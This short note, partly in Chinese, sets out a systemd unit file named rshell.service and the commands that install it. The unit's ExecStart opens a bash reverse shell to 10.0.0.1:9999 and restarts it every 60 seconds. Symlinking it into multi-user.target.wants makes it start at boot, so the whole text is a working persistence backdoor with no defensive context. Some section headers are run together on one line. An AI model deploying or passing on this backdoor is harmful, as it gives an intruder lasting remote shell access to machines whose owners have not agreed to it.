创建rshell.service文件
[Unit]
Description=reverse shell[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'
Restart=always
RestartSec=60[Install]
WantedBy=default.target
安装
cp rshell.service /lib/systemd/system/
ln -s /lib/systemd/system/rshell.service /etc/systemd/system/multi-user.target.wants/